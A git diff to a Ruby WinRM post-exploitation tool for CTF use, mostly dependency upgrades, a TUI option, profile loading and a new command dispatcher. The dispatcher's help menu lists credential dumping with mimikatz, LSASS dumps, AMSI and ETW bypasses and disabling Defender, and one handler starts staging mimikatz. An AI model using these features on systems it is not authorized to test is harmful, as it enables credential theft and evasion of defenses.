diff --git a/.bundle/config b/.bundle/config deleted file mode 100644 index 2865427..0000000 --- a/.bundle/config +++ /dev/null @@ -1,3 +0,0 @@ ---- -BUNDLE_PATH: "vendor/bundle" -BUNDLE_WITH: "test" diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md new file mode 100644 index 0000000..3d6d57d --- /dev/null +++ b/.github/copilot-instructions.md @@ -0,0 +1,10 @@ + +- [x] audit-current-gemfile-and-usage: Inspect current Gemfile/Gemfile.lock and code usage that depends on pinned gems 🔴 +- [x] implement-rubyzip3-resolution: Decouple winrm-fs or point to compatible fork to allow rubyzip >= 3 🔴 +- [x] update-gemfile-and-warning-shim: Modernize Gemfile constraints and harden silence_warnings layer 🔴 +- [x] regenerate-lockfile-linux-bundler410: Generate Gemfile.lock with x86_64-linux platform and BUNDLED WITH 4.0.10 🔴 +- [x] deliver-migration-script-and-summary: Provide updated Gemfile content and safe migration shell script 🟡 + + + + diff --git a/.github/instructions/todos.instructions.md b/.github/instructions/todos.instructions.md new file mode 100644 index 0000000..446e360 --- /dev/null +++ b/.github/instructions/todos.instructions.md @@ -0,0 +1,13 @@ +--- +applyTo: '**' +--- + + +- [x] scope-review-targets: Identify critical files and review scope for bug/performance audit 🔴 +- [x] inspect-runtime-paths: Review core runtime modules for logic bugs and inefficiencies 🔴 +- [x] run-validation: Run available tests/commands to confirm suspected issues 🟡 +- [x] report-findings: Summarize findings by severity with file/line references 🔴 + + + + diff --git a/.gitignore b/.gitignore index 1e3a7f1..59c1ac7 100644 --- a/.gitignore +++ b/.gitignore @@ -1,11 +1,13 @@ # Ignore Ruby, Bundler, and system files /vendor/ +/.bundle/ /tmp/ *.log *.swp *.swo *.DS_Store /.vscode/ +/log/ /loot/ /profiles/*.yaml diff --git a/Gemfile b/Gemfile index 32a3367..ac36801 100644 --- a/Gemfile +++ b/Gemfile @@ -1,20 +1,26 @@ source 'https://rubygems.org' -gem 'winrm', '~> 2.3' -gem 'socksify', '~> 1.8' -gem 'winrm-fs', '~> 1.3' -gem 'colorize', '~> 0.8' -gem 'concurrent-ruby', '~> 1.2' -gem 'rubyzip', '~> 2.0' -gem 'logging', '~> 2.4' -gem 'nori', '~> 2.7' -gem 'gssapi', '~> 1.3' - -# Bundler itself -gem 'bundler', '>= 2.4', '< 3.0' +gem 'winrm', '>= 2.3.9' +gem 'socksify', '>= 1.8' +gem 'colorize', '>= 0.8' +gem 'concurrent-ruby', '>= 1.2' +gem 'rubyzip', '>= 3.0' +gem 'logging', '>= 2.4' +gem 'nori', '>= 2.7' +gem 'gssapi', '>= 1.3.1' +gem 'ffi', '>= 1.17.4' +gem 'readline', '>= 0.0.4' +gem 'syslog', '>= 0.1.2' +gem 'ostruct', '>= 0.6.0' # Test/dev group :test do - gem 'rspec', '~> 3.12' - gem 'mocha', '~> 1.15' + gem 'rspec', '>= 3.12' + gem 'mocha', '>= 1.15' +end + +group :development do + gem 'tty-prompt' + gem 'tty-table' + gem 'tty-screen' end diff --git a/Gemfile.lock b/Gemfile.lock index 1db0d34..3c955fe 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -2,13 +2,23 @@ GEM remote: https://rubygems.org/ specs: base64 (0.3.0) - bigdecimal (4.0.1) + bigdecimal (4.1.2) builder (3.3.0) - colorize (0.8.1) + colorize (1.1.0) concurrent-ruby (1.3.6) diff-lcs (1.6.2) erubi (1.13.1) - ffi (1.17.2-x86_64-linux-gnu) + ffi (1.17.4) + ffi (1.17.4-aarch64-linux-gnu) + ffi (1.17.4-aarch64-linux-musl) + ffi (1.17.4-arm-linux-gnu) + ffi (1.17.4-arm-linux-musl) + ffi (1.17.4-arm64-darwin) + ffi (1.17.4-x86-linux-gnu) + ffi (1.17.4-x86-linux-musl) + ffi (1.17.4-x86_64-darwin) + ffi (1.17.4-x86_64-linux-gnu) + ffi (1.17.4-x86_64-linux-musl) gssapi (1.3.1) ffi (>= 1.0.1) gyoku (1.4.0) @@ -16,15 +26,25 @@ GEM rexml (~> 3.0) httpclient (2.9.0) mutex_m + io-console (0.8.2) little-plugger (1.1.4) + logger (1.7.0) logging (2.4.0) little-plugger (~> 1.1) multi_json (~> 1.14) - mocha (1.16.1) - multi_json (1.18.0) + mocha (3.1.0) + ruby2_keywords (>= 0.0.5) + multi_json (1.20.1) mutex_m (0.3.0) nori (2.7.1) bigdecimal + ostruct (0.6.3) + pastel (0.8.0) + tty-color (~> 0.5) + readline (0.0.4) + reline + reline (0.6.3) + io-console (~> 0.5) rexml (3.4.4) rspec (3.13.2) rspec-core (~> 3.13.0) @@ -35,14 +55,38 @@ GEM rspec-expectations (3.13.5) diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.13.0) - rspec-mocks (3.13.7) + rspec-mocks (3.13.8) diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.13.0) - rspec-support (3.13.6) + rspec-support (3.13.7) + ruby2_keywords (0.0.5) rubyntlm (0.6.5) base64 - rubyzip (2.4.1) + rubyzip (3.2.2) socksify (1.8.1) + strings (0.2.1) + strings-ansi (~> 0.2) + unicode-display_width (>= 1.5, < 3.0) + unicode_utils (~> 1.4) + strings-ansi (0.2.0) + syslog (0.4.0) + logger + tty-color (0.6.0) + tty-cursor (0.7.1) + tty-prompt (0.23.1) + pastel (~> 0.8) + tty-reader (~> 0.8) + tty-reader (0.9.0) + tty-cursor (~> 0.7) + tty-screen (~> 0.8) + wisper (~> 2.0) + tty-screen (0.8.2) + tty-table (0.12.0) + pastel (~> 0.8) + strings (~> 0.2.0) + tty-screen (~> 0.8) + unicode-display_width (2.6.0) + unicode_utils (1.4.0) winrm (2.3.9) builder (>= 2.1.2) erubi (~> 1.8) @@ -53,28 +97,98 @@ GEM nori (~> 2.0, >= 2.7.1) rexml (~> 3.0) rubyntlm (~> 0.6.0, >= 0.6.3) - winrm-fs (1.3.5) - erubi (~> 1.8) - logging (>= 1.6.1, < 3.0) - rubyzip (~> 2.0) - winrm (~> 2.0) + wisper (2.0.1) PLATFORMS + aarch64-linux-gnu + aarch64-linux-musl + arm-linux-gnu + arm-linux-musl + arm64-darwin + ruby + x86-linux-gnu + x86-linux-musl + x86_64-darwin + x86_64-linux x86_64-linux-gnu + x86_64-linux-musl DEPENDENCIES - bundler (>= 2.4, < 3.0) - colorize (~> 0.8) - concurrent-ruby (~> 1.2) - gssapi (~> 1.3) - logging (~> 2.4) - mocha (~> 1.15) - nori (~> 2.7) - rspec (~> 3.12) - rubyzip (~> 2.0) - socksify (~> 1.8) - winrm (~> 2.3) - winrm-fs (~> 1.3) + colorize (>= 0.8) + concurrent-ruby (>= 1.2) + ffi (>= 1.17.4) + gssapi (>= 1.3.1) + logging (>= 2.4) + mocha (>= 1.15) + nori (>= 2.7) + ostruct (>= 0.6.0) + readline (>= 0.0.4) + rspec (>= 3.12) + rubyzip (>= 3.0) + socksify (>= 1.8) + syslog (>= 0.1.2) + tty-prompt + tty-screen + tty-table + winrm (>= 2.3.9) + +CHECKSUMS + base64 (0.3.0) sha256=27337aeabad6ffae05c265c450490628ef3ebd4b67be58257393227588f5a97b + bigdecimal (4.1.2) sha256=53d217666027eab4280346fba98e7d5b66baaae1b9c3c1c0ffe89d48188a3fbd + builder (3.3.0) sha256=497918d2f9dca528fdca4b88d84e4ef4387256d984b8154e9d5d3fe5a9c8835f + colorize (1.1.0) sha256=30b5237f0603f6662ab8d1fc2bd4a96142b806c6415d79e45ef5fdc6a0cfc837 + concurrent-ruby (1.3.6) sha256=6b56837e1e7e5292f9864f34b69c5a2cbc75c0cf5338f1ce9903d10fa762d5ab + diff-lcs (1.6.2) sha256=9ae0d2cba7d4df3075fe8cd8602a8604993efc0dfa934cff568969efb1909962 + erubi (1.13.1) sha256=a082103b0885dbc5ecf1172fede897f9ebdb745a4b97a5e8dc63953db1ee4ad9 + ffi (1.17.4) sha256=bcd1642e06f0d16fc9e09ac6d49c3a7298b9789bcb58127302f934e437d60acf + ffi (1.17.4-aarch64-linux-gnu) sha256=b208f06f91ffd8f5e1193da3cae3d2ccfc27fc36fba577baf698d26d91c080df + ffi (1.17.4-aarch64-linux-musl) sha256=9286b7a615f2676245283aef0a0a3b475ae3aae2bb5448baace630bb77b91f39 + ffi (1.17.4-arm-linux-gnu) sha256=d6dbddf7cb77bf955411af5f187a65b8cd378cb003c15c05697f5feee1cb1564 + ffi (1.17.4-arm-linux-musl) sha256=9d4838ded0465bef6e2426935f6bcc93134b6616785a84ffd2a3d82bc3cf6f95 + ffi (1.17.4-arm64-darwin) sha256=19071aaf1419251b0a46852abf960e77330a3b334d13a4ab51d58b31a937001b + ffi (1.17.4-x86-linux-gnu) sha256=38e150df5f4ca555e25beca4090823ae09657bceded154e3c52f8631c1ed72cf + ffi (1.17.4-x86-linux-musl) sha256=fbeec0fc7c795bcf86f623bb18d31ea1820f7bd580e1703a3d3740d527437809 + ffi (1.17.4-x86_64-darwin) sha256=aa70390523cf3235096cf64962b709b4cfbd5c082a2cb2ae714eb0fe2ccda496 + ffi (1.17.4-x86_64-linux-gnu) sha256=9d3db14c2eae074b382fa9c083fe95aec6e0a1451da249eab096c34002bc752d + ffi (1.17.4-x86_64-linux-musl) sha256=3fdf9888483de005f8ef8d1cf2d3b20d86626af206cbf780f6a6a12439a9c49e + gssapi (1.3.1) sha256=c51cf30842ee39bd93ce7fc33e20405ff8a04cda9dec6092071b61258284aee1 + gyoku (1.4.0) sha256=389d887384c777f271cb9377bb642f20bbe0c633d1ef5af78569d4db53c1a2cd + httpclient (2.9.0) sha256=4b645958e494b2f86c2f8a2f304c959baa273a310e77a2931ddb986d83e498c8 + io-console (0.8.2) sha256=d6e3ae7a7cc7574f4b8893b4fca2162e57a825b223a177b7afa236c5ef9814cc + little-plugger (1.1.4) sha256=d5f347c00d9d648040ef7c17d6eb09d3d0719adf19ca30d1a3b6fb26d0a631bb + logger (1.7.0) sha256=196edec7cc44b66cfb40f9755ce11b392f21f7967696af15d274dde7edff0203 + logging (2.4.0) sha256=ba8893a3c211b836f4131bb93b3eb3137a0c3b1fcd0ec3d570e324d8bdc00ccb + mocha (3.1.0) sha256=75f42d69ebfb1f10b32489dff8f8431d37a418120ecdfc07afe3bc183d4e1d56 + multi_json (1.20.1) sha256=2f3934e805cc45ef91b551a1f89d0e9191abd06a5e04a2ef09a6a036c452ca6d + mutex_m (0.3.0) sha256=cfcb04ac16b69c4813777022fdceda24e9f798e48092a2b817eb4c0a782b0751 + nori (2.7.1) sha256=6166cd336959854762073e2fbae888593809cac1b3e904f4fb009313d7226861 + ostruct (0.6.3) sha256=95a2ed4a4bd1d190784e666b47b2d3f078e4a9efda2fccf18f84ddc6538ed912 + pastel (0.8.0) sha256=481da9fb7d2f6e6b1a08faf11fa10363172dc40fd47848f096ae21209f805a75 + readline (0.0.4) sha256=6138eef17be2b98298b672c3ea63bf9cb5158d401324f26e1e84f235879c1d6a + reline (0.6.3) sha256=1198b04973565b36ec0f11542ab3f5cfeeec34823f4e54cebde90968092b1835 + rexml (3.4.4) sha256=19e0a2c3425dfbf2d4fc1189747bdb2f849b6c5e74180401b15734bc97b5d142 + rspec (3.13.2) sha256=206284a08ad798e61f86d7ca3e376718d52c0bc944626b2349266f239f820587 + rspec-core (3.13.6) sha256=a8823c6411667b60a8bca135364351dda34cd55e44ff94c4be4633b37d828b2d + rspec-expectations (3.13.5) sha256=33a4d3a1d95060aea4c94e9f237030a8f9eae5615e9bd85718fe3a09e4b58836 + rspec-mocks (3.13.8) sha256=086ad3d3d17533f4237643de0b5c42f04b66348c28bf6b9c2d3f4a3b01af1d47 + rspec-support (3.13.7) sha256=0640e5570872aafefd79867901deeeeb40b0c9875a36b983d85f54fb7381c47c + ruby2_keywords (0.0.5) sha256=ffd13740c573b7301cf7a2e61fc857b2a8e3d3aff32545d6f8300d8bae10e3ef + rubyntlm (0.6.5) sha256=47013402b99ae29ee93f930af51edaec8c6008556f4be25705a422b4430314f5 + rubyzip (3.2.2) sha256=c0ed99385f0625415c8f05bcae33fe649ed2952894a95ff8b08f26ca57ea5b3c + socksify (1.8.1) sha256=cf2a01720cc32490cc657b3233730620a03b92e98281726872ebebedfea9a856 + strings (0.2.1) sha256=933293b3c95cf85b81eb44b3cf673e3087661ba739bbadfeadf442083158d6fb + strings-ansi (0.2.0) sha256=90262d760ea4a94cc2ae8d58205277a343409c288cbe7c29416b1826bd511c88 + syslog (0.4.0) sha256=c4c38ae982fe72903ec41094b5e5f2dcbbc66f510d0225c9702e5e980d827472 + tty-color (0.6.0) sha256=6f9c37ca3a4e2367fb2e6d09722762647d6f455c111f05b59f35730eeb24332a + tty-cursor (0.7.1) sha256=79534185e6a777888d88628b14b6a1fdf5154a603f285f80b1753e1908e0bf48 + tty-prompt (0.23.1) sha256=fcdbce905238993f27eecfdf67597a636bc839d92192f6a0eef22b8166449ec8 + tty-reader (0.9.0) sha256=c62972c985c0b1566f0e56743b6a7882f979d3dc32ff491ed490a076f899c2b1 + tty-screen (0.8.2) sha256=c090652115beae764336c28802d633f204fb84da93c6a968aa5d8e319e819b50 + tty-table (0.12.0) sha256=fdc27a4750835c1a16efe19a0b857e3ced3652cc7aceafe6dca94908965b9939 + unicode-display_width (2.6.0) sha256=12279874bba6d5e4d2728cef814b19197dbb10d7a7837a869bab65da943b7f5a + unicode_utils (1.4.0) sha256=b922d0cf2313b6b7136ada6645ce7154ffc86418ca07d53b058efe9eb72f2a40 + winrm (2.3.9) sha256=ef6b767c5772d06e186300b506ea5e65afb849904a551f8482a5cfc2a1be5d06 + wisper (2.0.1) sha256=ce17bc5c3a166f241a2e6613848b025c8146fce2defba505920c1d1f3f88fae6 BUNDLED WITH - 2.4.20 + 4.0.10 diff --git a/bin/evil-ctf.rb b/bin/evil-ctf.rb index 93499ad..ebb8e38 100755 --- a/bin/evil-ctf.rb +++ b/bin/evil-ctf.rb @@ -4,6 +4,7 @@ # AWINRM CTF Edition require 'optparse' +require_relative '../lib/compat/silence_warnings' require 'winrm' require 'ipaddr' require 'socket' @@ -41,6 +42,16 @@ module EvilCTF; end lib_path = File.join(base_path, 'lib') $LOAD_PATH.unshift(lib_path) unless $LOAD_PATH.include?(lib_path) +# Auto-setup Bundler when the user requested the TUI so gems from +# `vendor/bundle` are available even when running with plain `ruby`. +if ARGV.any? { |a| a.to_s.start_with?('--tui') || a.to_s == '--tui' } + begin + require 'bundler/setup' + rescue LoadError + # bundler not available system-wide; user can run with `bundle exec` instead + end +end + # Load modular components require 'evil_ctf/session' diff --git a/evil-ctf b/evil-ctf new file mode 100755 index 0000000..6a61db0 --- /dev/null +++ b/evil-ctf @@ -0,0 +1,12 @@ +#!/bin/bash +# Wrapper script to automatically use bundle exec with proper sudo handling + +# Check if running with sudo (check SUDO_USER or run without sudo) +if [ -z "$SUDO_USER" ]; then + # Not running with sudo - check if we need it (for /etc/hosts modification) + # Just run with bundle exec + exec bundle exec ruby "$(dirname "${BASH_SOURCE[0]}")/evil-ctf.rb" "$@" +else + # Running with sudo - preserve environment and use bundle exec + exec bundle exec ruby "$(dirname "${BASH_SOURCE[0]}")/evil-ctf.rb" "$@" +fi diff --git a/lib/compat/silence_warnings.rb b/lib/compat/silence_warnings.rb new file mode 100644 index 0000000..db1f672 --- /dev/null +++ b/lib/compat/silence_warnings.rb @@ -0,0 +1,38 @@ +# frozen_string_literal: true + +# Ruby 4.0 compatibility helper: +# suppresses only known noisy winrm warnings while leaving all other warnings intact. +module EvilCTF + module Compat + module SilenceWarnings + WINRM_OBJECT_ID_WARNING = /winrm\/psrp\/(fragment|message_fragmenter)\.rb:\d+: warning: redefining 'object_id' may cause serious problems/ + WINRM_REDEFINE_WARNING = /winrm\/psrp\/.*warning: redefining 'object_id' may cause serious problems/ + + module WarningFilter + def warn(message, category: nil, **kwargs) + return if message.to_s.match?(WINRM_OBJECT_ID_WARNING) + + super(message, category: category, **kwargs) + rescue ArgumentError + # Older Ruby warning signatures may not support category/kwargs. + super(message) + end + end + + def self.enable! + return unless defined?(Warning) + return if @enabled + + if Warning.respond_to?(:ignore) + Warning.ignore(WINRM_OBJECT_ID_WARNING) + Warning.ignore(WINRM_REDEFINE_WARNING) + else + Warning.singleton_class.prepend(WarningFilter) + end + @enabled = true + end + end + end +end + +EvilCTF::Compat::SilenceWarnings.enable! \ No newline at end of file diff --git a/lib/config/profiles.rb b/lib/config/profiles.rb new file mode 100644 index 0000000..90fa9de --- /dev/null +++ b/lib/config/profiles.rb @@ -0,0 +1,67 @@ +# frozen_string_literal: true + +require 'yaml' + +module EvilCTF + module Config + module Profiles + module_function + + def root_path(default) + default || File.expand_path('../..', __dir__) + end + + def load_profiles(root_path: nil) + root = self.root_path(root_path) + profile_file = File.join(root, 'config', 'profiles.yaml') + return {} unless File.exist?(profile_file) + + data = YAML.load_file(profile_file) + data.is_a?(Hash) ? symbolize_hash(data) : {} + rescue StandardError + {} + end + + def load_profile(name:, root_path: nil) + return nil if name.to_s.strip.empty? + + root = self.root_path(root_path) + local_file = File.join(root, 'profiles', "#{name}.yaml") + if File.exist?(local_file) + data = YAML.load_file(local_file) + if data.is_a?(Hash) + # If the file is wrapped in a top-level profile key, prefer that object. + nested = data[name.to_s] || data[name.to_sym] + return symbolize_hash(nested) if nested.is_a?(Hash) + return symbolize_hash(data) + end + end + + profiles = load_profiles(root_path: root) + profile = profiles[name.to_sym] || profiles[name.to_s.to_sym] + profile.is_a?(Hash) ? symbolize_hash(profile) : nil + rescue StandardError + nil + end + + def profile_names(root_path: nil) + root = self.root_path(root_path) + names = [] + + profiles_dir = File.join(root, 'profiles') + if Dir.exist?(profiles_dir) + Dir.glob(File.join(profiles_dir, '*.yaml')).sort.each do |path| + names << File.basename(path, '.yaml') + end + end + + names.concat(load_profiles(root_path: root).keys.map(&:to_s)) + names.uniq.sort + end + + def symbolize_hash(hash) + hash.each_with_object({}) { |(k, v), out| out[k.to_sym] = v } + end + end + end +end diff --git a/lib/evil_ctf/app_state.rb b/lib/evil_ctf/app_state.rb new file mode 100644 index 0000000..a17009c --- /dev/null +++ b/lib/evil_ctf/app_state.rb @@ -0,0 +1,211 @@ +require 'thread' + +module EvilCTF + class AppState + def self.instance + @instance ||= new + end + + def initialize + @mutex = Mutex.new + @sessions = [] + @active_session = nil + @running_tasks = {} + @alerts = [] + @last_scan_time = nil + @mode = :NORMAL + @results_buffer = [] + @stream_buffer = [] + @uploads = {} + @cli_input = '' + @cli_history = [] + @menu_open = nil + @screen_width = 100 + @screen_height = 30 + @pane_focus = :sidebar + @layout_version = 0 + @pending_connection = {} + @settings = { + logging_enabled: false, + theme: 'default', + scrollback_limit: 300 + } + end + + attr_reader :mutex + + def sessions + @mutex.synchronize { @sessions.dup } + end + + def add_session(s) + @mutex.synchronize { @sessions << s } + end + + def active_session + @mutex.synchronize { @active_session } + end + + def set_active_session(s) + @mutex.synchronize { @active_session = s } + end + + # Alias for controller APIs that refer to current session. + def current_session + active_session + end + + def set_current_session(s) + set_active_session(s) + end + + def running_tasks + @mutex.synchronize { @running_tasks.dup } + end + + def add_task(id, info) + @mutex.synchronize { @running_tasks[id] = info } + end + + def remove_task(id) + @mutex.synchronize { @running_tasks.delete(id) } + end + + def alerts + @mutex.synchronize { @alerts.dup } + end + + def push_alert(a) + @mutex.synchronize { @alerts << a } + end + + def last_scan_time + @mutex.synchronize { @last_scan_time } + end + + def set_last_scan_time(t) + @mutex.synchronize { @last_scan_time = t } + end + + def mode + @mutex.synchronize { @mode } + end + + def set_mode(m) + @mutex.synchronize { @mode = m } + end + + # CLI input / history helpers for interactive pane + def cli_input + @mutex.synchronize { @cli_input.dup } + end + + def set_cli_input(val) + @mutex.synchronize { @cli_input = val.to_s } + end + + def append_cli_history(val) + @mutex.synchronize do + @cli_history << val.to_s + @cli_history.shift while @cli_history.size > 200 + end + end + + def cli_history_snapshot + @mutex.synchronize { @cli_history.dup } + end + + def menu_open + @mutex.synchronize { @menu_open } + end + + def set_menu_open(sym) + @mutex.synchronize { @menu_open = sym } + end + + def pane_focus + @mutex.synchronize { @pane_focus } + end + + def set_pane_focus(focus) + @mutex.synchronize { @pane_focus = focus } + end + + def screen_size + @mutex.synchronize { [@screen_width, @screen_height] } + end + + def set_screen_size(width, height) + @mutex.synchronize do + @screen_width = width.to_i + @screen_height = height.to_i + end + end + + def layout_version + @mutex.synchronize { @layout_version } + end + + def bump_layout_version + @mutex.synchronize { @layout_version += 1 } + end + + def append_result(line) + @mutex.synchronize do + @results_buffer << line.to_s + @results_buffer.shift while @results_buffer.size > 1000 + end + end + + def results_snapshot + @mutex.synchronize { @results_buffer.dup } + end + + def append_stream(line) + @mutex.synchronize do + @stream_buffer << line.to_s + limit = [@settings[:scrollback_limit].to_i, 50].max + @stream_buffer.shift while @stream_buffer.size > limit + end + end + + def stream_snapshot + @mutex.synchronize { @stream_buffer.dup } + end + + def uploads + @mutex.synchronize { @uploads.dup } + end + + def set_upload(id, info) + @mutex.synchronize { @uploads[id] = info } + end + + def clear_upload(id) + @mutex.synchronize { @uploads.delete(id) } + end + + def settings + @mutex.synchronize { @settings.dup } + end + + def set_setting(key, value) + @mutex.synchronize { @settings[key.to_sym] = value } + end + + def toggle_setting(key) + @mutex.synchronize do + sym = key.to_sym + @settings[sym] = !@settings[sym] + end + end + + def pending_connection + @mutex.synchronize { @pending_connection.dup } + end + + def set_pending_connection(data) + @mutex.synchronize { @pending_connection = (data || {}).dup } + end + end +end diff --git a/lib/evil_ctf/banner.rb b/lib/evil_ctf/banner.rb index c661f27..5a4b63b 100644 --- a/lib/evil_ctf/banner.rb +++ b/lib/evil_ctf/banner.rb @@ -62,6 +62,23 @@ def self.risk_text(score) # Show banner with optional color def self.show_banner(shell, options, mode: :minimal, no_color: false) + # If the user requested the TUI, attempt to launch it and return. + if options && (options[:tui] || options[:use_tui] || ENV['EVILCTF_TUI'] == '1') + begin + require 'evil_ctf/tui' + # Prefer the interactive Rainfrog-like loop when available + if EvilCTF::TUI.respond_to?(:start_rainfrog) + EvilCTF::TUI.start_rainfrog(shell, options) + else + EvilCTF::TUI.start(shell, options) + end + rescue LoadError + puts " [!] TTY TUI not available. Install tty gems to enable TUI.".yellow + rescue => e + puts " [!] Failed to start TUI: #{e.message}".red + end + return + end # Disable color if requested if no_color # Use plain text diff --git a/lib/evil_ctf/cli.rb b/lib/evil_ctf/cli.rb index 60b24d2..5ec3d3f 100644 --- a/lib/evil_ctf/cli.rb +++ b/lib/evil_ctf/cli.rb @@ -3,6 +3,8 @@ require 'optparse' require_relative 'session' +require_relative 'connection' +require_relative '../config/profiles' module EvilCTF module CLI @@ -16,7 +18,8 @@ def self.run(argv) list_tools: false, enum: nil, fresh: false, hosts: nil, kerberos: false, realm: nil, keytab: nil, banner_mode: :minimal, debug: false, - ipv6: nil, ipv6_hostname: nil + ipv6: nil, ipv6_hostname: nil, + verify: true } parser = OptionParser.new do |opts| opts.banner = 'Usage: evil-ctf.rb [options]' @@ -53,9 +56,11 @@ def self.run(argv) opts.on('--realm REALM', 'Kerberos realm') { |v| options[:realm] = v } opts.on('--keytab FILE', 'Kerberos keytab') { |v| options[:keytab] = v } opts.on('--banner MODE', 'Banner mode (minimal|expanded)') { |v| options[:banner_mode] = v&.to_sym } + opts.on('--tui', 'Launch interactive TTY-based UI (uses tty gems)') { options[:tui] = true } opts.on('--user-agent AGENT', 'Custom User-Agent for WinRM HTTP requests') { |v| options[:user_agent] = v } opts.on('--log-session', 'Enable session logging to disk (log/ directory)') { options[:log_session] = true } opts.on('--debug', 'Enable WinRM debug output (passes debug:true to WinRM client)') { options[:debug] = true } + opts.on('--no-verify', 'Skip connection validation') { options[:verify] = false } opts.on('-h', '--help', 'Show help') { puts opts; exit 0 } end @@ -72,16 +77,10 @@ def self.run(argv) # Profile loading: merge profile if --profile is given if options[:profile] - prof = nil - # Try profiles/NAME.yaml first, then config/profiles.yaml - prof_path1 = File.expand_path("../../profiles/#{options[:profile]}.yaml", __dir__) - prof_path2 = File.expand_path("../../config/profiles.yaml", __dir__) - if File.exist?(prof_path1) - prof = YAML.load_file(prof_path1) - elsif File.exist?(prof_path2) - all_profiles = YAML.load_file(prof_path2) - prof = all_profiles[options[:profile].to_s] if all_profiles - end + prof = EvilCTF::Config::Profiles.load_profile( + name: options[:profile], + root_path: File.expand_path('../..', __dir__) + ) if prof # Accept all keys from profile, including username, user, password, hash, port, ssl, etc. options.merge!(prof.transform_keys(&:to_sym)) @@ -99,7 +98,41 @@ def self.run(argv) return 1 end - Session.run_session(options) + # Connection validation before session + if options[:verify] + endpoint = options[:endpoint] || "#{options[:ssl] ? 'https' : 'http'}://#{options[:ip]}:#{options[:port] || 5985}/wsman" + validation = EvilCTF::Session.test_connection( + endpoint: endpoint, + user: options[:user], + password: options[:password], + hash: options[:hash], + kerberos: options[:kerberos], + realm: options[:realm], + keytab: options[:keytab], + ssl: options[:ssl], + debug: options[:debug], + transport: options[:transport], + user_agent: options[:user_agent], + timeout: 10 + ) + unless validation[:ok] + puts "[!] Connection validation failed: #{validation[:error]}" + puts validation[:report] if validation[:report] + exit 1 + end + puts "[+] Connection validated: #{validation[:hostname]}" + end + + result = Session.run_session(options) + + # Check for validation failure from session + if result.is_a?(Array) && !result[0] + puts "[!] Session validation failed: #{result[1]}" if result[1] + exit 1 + elsif !result + puts "[!] Session failed" + exit 1 + end 0 end end diff --git a/lib/evil_ctf/command_dispatcher.rb b/lib/evil_ctf/command_dispatcher.rb new file mode 100644 index 0000000..758856f --- /dev/null +++ b/lib/evil_ctf/command_dispatcher.rb @@ -0,0 +1,557 @@ +# frozen_string_literal: true + +require 'monitor' +require 'ostruct' +require_relative 'tools' +require_relative 'execution' +require_relative 'uploader' +require_relative 'enums' +require_relative 'sql_enum' + +module EvilCTF + # Dispatcher for handling commands in the EvilCTF session. + # Replaces the large case statement in session.rb with a handler-based approach. + class CommandDispatcher + def self.instance + @instance ||= new + end + + def self.dispatch(name:, args: nil, shell:, session_options:, command_manager: nil, history: nil) + instance.dispatch( + name: name, + args: args, + shell: shell, + session_options: session_options, + command_manager: command_manager, + history: history + ) + end + + attr_reader :handlers + + def initialize + @mutex = Monitor.new + @handlers = {} + @pass_through = true # Default: pass unknown commands through + + # Pre-register all handlers + register_core_commands + end + + def register(name, &block) + @mutex.synchronize do + @handlers[name] = block + end + end + + def unregister(name) + @mutex.synchronize do + @handlers.delete(name) + end + end + + # Dispatch a command and return a result hash. + # Returns: + # { ok: true, output: "", handled: true } on success + # { ok: false, output: "", error: "", handled: true } on handler failure + # { ok: false, output: "", handled: false } not a known command, pass through + def dispatch(name:, args: nil, shell:, session_options:, command_manager: nil, history: nil) + # Make command_manager and history available in session_options for handlers + session_options[:command_manager] = command_manager if command_manager + session_options[:history] = history if history + + normalized = name.to_s.strip.downcase + normalized = 'help' if normalized == 'menu' + tokens = normalized.split(/\s+/) + + # Special handling for 'history' command with optional argument + if normalized == 'history' && args && args.strip != '' + normalized = 'history ' + args.strip.downcase + end + + # Resolve command key in a tolerant order so full user input still maps + # to one-word or two-word registered handlers. + candidate_keys = [] + candidate_keys << normalized unless normalized.empty? + candidate_keys << tokens[0, 2].join(' ') if tokens.length >= 2 + candidate_keys << tokens.first if tokens.first + candidate_keys.uniq! + + command_key = candidate_keys.find { |key| @handlers.key?(key) } + handler = command_key ? @handlers[command_key] : nil + return { ok: false, output: '', handled: false } unless handler + + begin + output = handler.call(shell, args, session_options) + { ok: true, output: output.to_s, handled: true } + rescue => e + { ok: false, output: '', error: e.message, handled: true } + end + end + + private + + def register_core_commands + register('help') do |shell, args, session_options| + require 'colorize' + output = "\n" + "Builtin commands:".colorize(:cyan) + + help_cmds = [ + ['help', 'This help'], + ['clear', 'Clear screen'], + ['tools', 'List tool registry'], + ['download_missing', 'Download all missing tools into ./tools'], + ['dump_creds', 'Stage mimikatz & dump logon passwords'], + ['lsass_dump', 'Stage procdump & dump LSASS to ./loot'], + ['enum [type]', 'Run enumeration preset (basic, deep, sql, etc.)'], + ['fileops', 'File operations menu (upload/download/ZIP)'], + ['bypass-4msi', 'Try AMSI bypass'], + ['bypass-etw', 'Full ETW bypass'], + ['disable_defender', 'Try disabling Defender real-time'], + ['history', 'Show command history'], + ['history clear', 'Clear history file'], + ['profile save ', 'Save current options as profile'], + ['get-unquotedservices', 'Show all unquoted service paths'], + ['load_ps1 ', 'Upload and load PS1 script'], + ['invoke-binary [args]', 'Upload and execute binary'], + ['services', 'List services'], + ['processes', 'List processes'], + ['sysinfo', 'System info'], + ['__exit__/exit/quit', 'Exit this Evil-WinRM CTF session'], + ['!sh / !bash', 'Spawn local shell'] + ] + + help_cmds.each do |cmd, desc| + output += "\n" + " ".colorize(:light_black) + cmd.colorize(:green) + " - ".colorize(:light_black) + desc.colorize(:white) + end + + output += "\n" + "Macros: ".colorize(:cyan) + # command_manager is available via session_options[:command_manager] + cm = session_options[:command_manager] + if cm + output += cm.list_macros.join(', ').colorize(:magenta) + else + output += 'N/A' + end + + output += "\nAliases: ".colorize(:cyan) + if cm + output += cm.list_aliases.join(', ').colorize(:magenta) + else + output += 'N/A' + end + output + end + + # menu is a friendly alias used by operators + register('menu') do |shell, args, session_options| + @handlers['help'].call(shell, args, session_options) + end + + # clear + register('clear') do |shell, args, session_options| + system('clear || cls') + '' + end + + # tools + register('tools') do |shell, args, session_options| + EvilCTF::Tools.list_available_tools + '' + end + + # download_missing + register('download_missing') do |shell, args, session_options| + EvilCTF::Tools.download_missing_tools + '' + end + + # dump_creds + register('dump_creds') do |shell, args, session_options| + logger = session_options[:logger] || OpenStruct.new + command_manager = session_options[:command_manager] + + EvilCTF::Tools.safe_autostage('mimikatz', shell, session_options, logger) + EvilCTF::Tools.safe_autostage('powerview', shell, session_options, 